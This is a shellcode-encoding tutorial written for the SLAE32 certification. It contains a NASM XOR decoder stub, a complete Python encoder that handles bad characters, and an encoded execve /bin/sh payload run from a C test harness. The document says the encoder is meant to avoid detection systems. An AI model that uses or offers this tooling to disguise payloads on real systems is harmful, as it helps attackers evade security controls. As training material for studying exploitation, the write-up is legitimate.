Concerned Project Repository
You can find a complete version of the project that is described in this paper on my Github account.
https://github.com/DarkCoderSc/slae32-xor-encoderAssignment N°4 - Encoder (NASM)
Assignment Goals (SLAE-1530)
-
Create a custom encoding scheme.
-
PoC with using execve-stack as the shellcode.
Creating our own encoder
Shellcode encoders are useful for two main reasons:
- Minimize the risk of getting cough by detection systems.
- Avoid bad characters from our original shellcode.
An encoder take a shellcode in input and output a different looking shellcode without affecting it functionality.
The main disadvantage with encoding is that your shellcode size will naturally increase.
Encoder
The Encoder is generally created using a high level language such as Python / Ruby or C.
The Encoder scramble the shellcode byte by byte using a reversible routine. Depending on the method used, the Encoder could also put effort on avoiding certain bytes we call bad chars.
When the shellcode is completely encoded the encoder wraps it inside another shellcode template called the Decoder.
Decoder
The Decoder reverse the encoding process, When the shellcode is completely decoded, it redirects execution flow at decoded shellcode location.
XOR Encoder Receipe
We will create our custom encoder using XOR encryption.
Each shellcode byte are XORed using a random byte (0-256), In this case the key is not secret and is required by the decoder.
XOR key needs to be alternate with the encoded shellcode byte.
Example:
0x01 (Shellcode Pos 1) | 0x02 (XOR Key Pos 1) | 0x03 (Shellcode Pos 2) | 0x04 (XOR Key Pos 2) | ...
The key length then needs to be equal to the shellcode length thus making the process of limiting bad chars much easier but increasing the size of our final payload by two.
Indeed, to avoid bad characters, if current XOR key position or if XOR operation result is equal to a defined bad char, we need to change the current key position value until we escape all bad chars.
Decoder OpCodes (represented by one byte or a couple of bytes) can't be placed in bad chars since they are part of the decoding process. They must be white listed.
We also need to take care of modifying few parts of the decoder on the fly.
Since decoder browse the shellcode byte by byte, it needs to use the ecx
register to create a loop. ecx
is obviously equal to the size of our shellcode. So we must patch that value dynamically and cleverly.
If shellcode length is bellow or equal to 2^8 (256) bytes, then we use cl
(8 Bit) register to store loop counter.
If shellcode length is above 2^8 and bellow or equal to 2^16 (65535) bytes, then we use cx
(16 Bit) register to store loop counter.
Finally if shellcode length is above 2^16 and bellow or equal to 2^32 (4294967296) Bytes, then we use ecx
(32 Bit) register to store loop counter.
Most of the time if not always our shellcode wont cross 65535 bytes but just in case size above this limit is supported.
Since we are changing OpCode on the fly, we must also relocate addresses for some instructions. We also need to carefully take care of that.
Decoder Template (NASM)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Filename : xor-encoder.nasm ;
; Author : Jean-Pierre LESUEUR ;
; Website : https://www.phrozen.io/ ;
; Email : jplesueur@phrozen.io ;
; Twitter : @DarkCoderSc ;
; ;
; --------------------------------------------------;
; SLAE32 Certification Assignement N°3 ;
; (Pentester Academy). ;
; https://www.pentesteracademy.com ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
global _start
section .text
;--------------------------------------------------------------------
; Program Entry Point.
;--------------------------------------------------------------------
_start:
jmp short get_shellcode
;--------------------------------------------------------------------
; Decode shellcode with associated key (XOR Decoder).
;--------------------------------------------------------------------
decoder:
pop esi ; Address of EncodedShellcode
xor ecx, ecx ; zero ecx
xor eax, eax ; zero eax
xor ebx, ebx ; zero ebx
mov cl, 0x1 ; length of our shellcode (EncodedShellcode / 2)
decode:
mov ah, byte [esi + ebx]
mov al, byte [esi + ebx +1]
xor ah, al
mov [esi], ah
inc ebx
inc esi
loop decode
jmp short EncodedShellcode ; run our decoded shellcode
;--------------------------------------------------------------------
; This section contain our encoded shellcode + XOR key.
; It address will be recovered using the Jump Call Pop technique.
;--------------------------------------------------------------------
get_shellcode:
call decoder
EncodedShellcode: db 0x00, 0x00
Identified White Chars
Each OpCode present in this decoder is designated as a whitelisted char. Since it is required for decoding process it can't be avoided.
To identify white chars we can compile the Decoder template then use objdump.
local@user:$ nasm -f elf32 -o xor-decoder.o xor-decoder.nasm
local@user:$ ld -o xor-decoder xor-decoder.o
local@users:$ objdump -d xor-decoder -M intel
xor-decoder: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: eb 1a jmp 804807c
08048062 :
8048062: 5e pop esi
8048063: 31 c9 xor ecx,ecx
8048065: 31 c0 xor eax,eax
8048067: 31 db xor ebx,ebx
8048069: b1 01 mov cl,0x1
0804806b :
804806b: 8a 24 1e mov ah,BYTE PTR [esi+ebx*1]
804806e: 8a 44 1e 01 mov al,BYTE PTR [esi+ebx*1+0x1]
8048072: 30 c4 xor ah,al
8048074: 88 26 mov BYTE PTR [esi],ah
8048076: 43 inc ebx
8048077: 46 inc esi
8048078: e2 f1 loop 804806b
804807a: eb 05 jmp 8048081
0804807c :
804807c: e8 e1 ff ff ff call 8048062
Giving:
0x01, 0x05, 0x1e, 0x24, 0x26, 0x2e, 0x30, 0x31
0x43, 0x44, 0x46, 0x5e, 0x88, 0x8a, 0xc0, 0xc4
0xc9, 0xdb, 0xe8, 0xeb, 0xf1, 0xff
as default white char list.
Remember, depending on the size of our shellcode, we also need to modify on the fly some OpCodes. Resulting OpCode must be also present in white char list.
Shellcode (<= 2^8)
0xb1, 0x1a
Shellcode (> 2^8 and <= 2^16)
0x66, 0xb9, 0x1c, 0xdf
Shellcode (> 2^16 and <= 2^32>)
0xb9, 0x1d, 0xde
Shellcode Length Bad char subtlety
There is a last important thing to take in consideration about bad chars.
When we generate our final decoder payload. We are placing a special OpCode (ecx
counter) with the size of our shellcode encoded in hex (Little Endian). This could result in having a new bad char.
To avoid this problem, we can add an option to append junk OpCode(s) at the end of the shellcode to encode thus varying it size and then OpCode layout.
XOR Encoder Code
#!/usr/bin/python3
'''
Jean-Pierre LESUEUR (@DarkCoderSc)
jplesueur@phrozen.io
https://www.phrozen.io/
https://github.com/darkcodersc
License : MIT
---
SLAE32 Assignment 4 : Linux x86-32 Shellcode Encoder.
---
Description:
Encode shellcode using XOR.
Support shellcode from any size.
Support bad chars.
'''
import sys
import random
from textwrap import wrap
import argparse
############################################################################################################
verbose = False
shellcode = None
encoded_shellcode = None
############################################################################################################
#
# Define bad characters and white characters.
#
# white characters are characters used by the decoder itself so it can't be present in bad character array.
#
############################################################################################################
#
# Bad chars list
#
default_bad_chars = bytearray([0x00])
bad_chars = None
#
# Whitelist chars (Can't be in bad chars)
#
white_chars_base = bytearray([
0x01, 0x05, 0x1e, 0x24, 0x26, 0x2e, 0x30, 0x31,
0x43, 0x44, 0x46, 0x5e, 0x88, 0x8a, 0xc0, 0xc4,
0xc9, 0xdb, 0xe8, 0xeb, 0xf1, 0xff
])
white_chars_size8 = bytearray([0xb1, 0x1a])
white_chars_size16 = bytearray([0x66, 0xb9, 0x1c, 0xdf])
white_chars_size32 = bytearray([0xb9, 0x1d, 0xde])
white_chars = None
############################################################################################################
#
# Utilities Definitions
#
############################################################################################################
#
# Log Defs
#
def success(message):
print("[\033[32m+\033[39m] " + message)
def err(message):
print("[\033[31m-\033[39m] " + message)
def warn(message):
print("[\033[33m!\033[39m] " + message)
def info(message):
if verbose:
print("[\033[34m*\033[39m] " + message)
#
# Convert Byte Array to Byte String
#
def bytearr_to_bytestr(data):
return ''.join(f"\\x{'{:02x}'.format(x)}" for x in data)
#
# Convert Byte String to Byte Array
#
def bytestr_to_bytearr(data):
return list(bytearray.fromhex(data.replace("\\x", " ")))
############################################################################################################
#
# Prepare Badchar List (Need to be done before calling EncodeShellcode())
#
############################################################################################################
def PrepareBadChars(reg_size):
global bad_chars
global white_chars
result = True
bad_chars = bytearray()
white_chars = bytearray()
if argv.badchars_str:
bad_chars.extend(default_bad_chars)
white_chars.extend(white_chars_base)
if (reg_size == 8):
white_chars.extend(white_chars_size8)
elif (reg_size == 16):
white_chars.extend(white_chars_size16)
elif (reg_size == 32):
white_chars.extend(white_chars_size32)
for badchar in bytestr_to_bytearr(argv.badchars_str):
if (white_chars.find(badchar, 0) == -1):
bad_chars.append(badchar)
else:
warn(f"{hex(badchar)} is whitelisted. It can't be a badchar")
result = False
return result
############################################################################################################
#
# Encode Shellcode (XOR) Definition
#
############################################################################################################
def EncodeShellcode():
global shellcode
global encoded_shellcode
#
# Start encoding
#
encoded_shellcode = bytearray()
for opcode in shellcode:
candidates = random.sample(range(255), 255)
found = False
for candidate in candidates:
result = opcode ^ candidate
if (bad_chars.find(result, 0) == -1) and (bad_chars.find(candidate, 0) == -1):
found = True
break
if not found:
return False
encoded_shellcode.append(result)
encoded_shellcode.append(candidate)
return True
############################################################################################################
#
# Program Entry Point
#
############################################################################################################
parser = argparse.ArgumentParser(description='Shellcode Xor Encoder (@DarkCoderSc)')
parser.add_argument('-s', action="store", dest="shellcode_str", required=True, help="Shellcode to encode (Ex: \\x31\\xe2...\\xeb).")
parser.add_argument('-b', action="store", dest="badchars_str", required=False, help="Bad chars list (Ex: \\x0a\\x0d), NULL is always a bad char.")
parser.add_argument('-v', action="store_true", default=False, dest="verbose", required=False, help="Enable verbose.")
parser.add_argument('-j', action="store", dest="junk_length", type=int, default=0, required=False, help="Append junk opcode at the end of the original shellcode to vary it size.")
parser.add_argument('-p', action="store_true", default=False, dest="paranoid_bcheck", required=False, help="Check if final payload is really free of badchars (Paranoid mode).")
try:
argv = parser.parse_args()
verbose = argv.verbose
except IOError:
parse.error
sys.exit()
#
# Setup shellcode array
#
shellcode = bytestr_to_bytearr(argv.shellcode_str)
#
# Optionnaly append junk data at the end to vary shellcode size and avoid bad chars.
#
if (argv.junk_length > 0):
shellcode.extend(b"\x90"*argv.junk_length)
############################################################################################################
#
# Encode and ajust decoder
# (!) Retry encoding until no bad chars are found in generated opcode (during relocation)
#
############################################################################################################
shellcode_length = len(shellcode)
info(f"{shellcode_length} bytes loaded from shellcode to encode.")
reg_size = 0
if (shellcode_length <= (2**8-1)):
reg_size = 8
elif (shellcode_length <= (2**16-1)):
reg_size = 16
elif (shellcode_length <= (2**32-1)):
reg_size = 32
if (reg_size == 0):
err("Shellcode length is not compatible with our encoder.")
sys.exit()
#
# Prepare Badchars
#
info("Prepare bad chars list...")
if not PrepareBadChars(reg_size):
err("Invalid badchar, one or multiple badchar are not compatible with our encoder.")
sys.exit()
info("Done.")
#
# Encode Shellcode (XOR)
#
info("Start shellcode encoding...")
if not EncodeShellcode():
err("Could not encode shellcode, with current badchar list. Likely reason: to much bad chars.")
sys.exit()
info("Done.")
#
# Upgrade ecx counter / jmp / call relocation.
#
if (reg_size == 8):
counter_opcode = b"\xb1"
counter_opcode += shellcode_length.to_bytes(1, byteorder="little")
jmp_get_shellcode_opcode = b"\x1a"
call_decoder_opcode = b"\xe1"
elif (reg_size == 16):
counter_opcode = b"\x66\xb9"
counter_opcode += shellcode_length.to_bytes(2, byteorder="little")
jmp_get_shellcode_opcode = b"\x1c"
call_decoder_opcode = b"\xdf"
elif (reg_size == 32):
counter_opcode = b"\xb9"
counter_opcode += shellcode_length.to_bytes(4, byteorder="little")
jmp_get_shellcode_opcode = b"\x1d"
call_decoder_opcode = b"\xde"
info(f"counter opcode=[{bytearr_to_bytestr(counter_opcode)}]")
info(f"jmp_get_shellcode opcode=[{bytearr_to_bytestr(jmp_get_shellcode_opcode)}]")
info(f"call_decoder opcode=[{bytearr_to_bytestr(call_decoder_opcode)}]")
info("Checking if additional opcodes now include bad chars...")
for opcode in counter_opcode:
if bad_chars.find(opcode) != -1:
err(f"A badchar \"{hex(opcode)}\" was introduced during OpCode generation. Use option \"-j\" to vary shellcode length and try again.")
sys.exit()
info("Done.")
############################################################################################################
#
# Build Final Payload
#
############################################################################################################
info("Build our final payload...")
payload = b""
# <_start>:
payload += b"\xeb"
payload += jmp_get_shellcode_opcode # jmp
# :
payload += b"\x5e" # pop esi
payload += b"\x31\xc9" # xor ecx,ecx
payload += b"\x31\xc0" # xor eax,eax
payload += b"\x31\xdb" # xor ebx,ebx
payload += counter_opcode # mov cl|cx|ecx,
# :
payload += b"\x8a\x24\x1e" # mov ah,BYTE PTR [esi+ebx*1]
payload += b"\x8a\x44\x1e\x01" # mov al,BYTE PTR [esi+ebx*1+0x1]
payload += b"\x30\xc4" # xor ah,al
payload += b"\x88\x26" # mov BYTE PTR [esi],ah
payload += b"\x43" # inc ebx
payload += b"\x46" # inc esi
payload += b"\xe2\xf1" # loop
payload += b"\xeb\x05" # jmp
# :
payload += b"\xe8"
payload += call_decoder_opcode # call
payload += b"\xff\xff\xff"
# :
payload += bytes(encoded_shellcode)
info("Done.")
############################################################################################################
#
# Verify if we don't have any badchars (Optional)
# Should never occurs, if it occurs it means we have a bug somewhere.
#
############################################################################################################
if argv.paranoid_bcheck:
for opcode in payload:
if bad_chars.find(opcode, 0) != -1:
err("Bad char found in final payload. Possible bug affects our encoder.")
sys.exit()
success("Final payload is completely free of bad chars.")
############################################################################################################
#
# Print C array payload to termina. Ready for use (Copy / Paste)
#
############################################################################################################
payload_str = bytearr_to_bytestr(payload)
size = int(len(payload_str) / 4)
final_payload = "// Shellcode size = {}\n".format(size)
final_payload += "unsigned char code[] = \\\n"
for l in wrap(payload_str, 64):
final_payload += "\t\"{}\"\n".format(l)
final_payload = final_payload[:-1] + ";"
print(f"\n{final_payload}\n")
success(f"Shellcode successfully encoded, payload size: {size}")
Usage
-s
: Shellcode to encode (Ex: \x31\xe2...\xeb).-b
: Bad chars list (Ex: \x0a\x0d), NULL is always a bad char.")-v
: Enable verbose.-j
: Append junk opcode at the end of the original shellcode to vary it size.-p
: Check if final payload is really free of badchars (Paranoid mode).
Example
We will use execve-stack
as shellcode to encode.
local@user:$ ./xor-encoder.py -s "\xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43" -b "\x0a\x0d" -v -p
Test encoded shellcode
#include
#include
// Shellcode size = 131
unsigned char code[] = \
"\xeb\x1a\x5e\x31\xc9\x31\xc0\x31\xdb\xb1\x31\x8a\x24\x1e\x8a\x44"
"\x1e\x01\x30\xc4\x88\x26\x43\x46\xe2\xf1\xeb\x05\xe8\xe1\xff\xff"
"\xff\xbf\x54\xd4\xce\x7c\x22\x0c\x3d\x5d\x86\x94\x1c\x5b\x05\xd9"
"\xde\xd0\x59\x34\x42\xf4\xfc\x67\xee\x65\x3b\xe6\xea\x40\xcd\x32"
"\x2c\x53\xde\x6d\x23\xc5\xcd\xf6\x7b\x33\x65\xc5\xc9\x0b\x3a\x9c"
"\x5c\x2e\x9e\x4f\x44\x99\x54\xc7\x47\x5d\xb5\x22\xc3\x31\xce\x4c"
"\xb3\x52\xad\x5d\x72\x89\xeb\x5a\x33\x31\x5f\xdb\xf4\xfe\x8d\x44"
"\x2c\xa8\xe9\x76\x34\x64\x26\x7e\x3c\x8c\xce\xbf\xfc\xfb\xb8\x72"
"\x31\x21\x62";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
local@user:$ gcc shellcode.c -o shellcode -z execstack && ./shellcode
Afterword
Encoder is available in the following Github repository : https://github.com/DarkCoderSc/slae32-xor-encoder
All content on this website is protected by a disclaimer. Please review it before using our site
June 14, 2020, 11 a.m. | By Jean-Pierre LESUEUR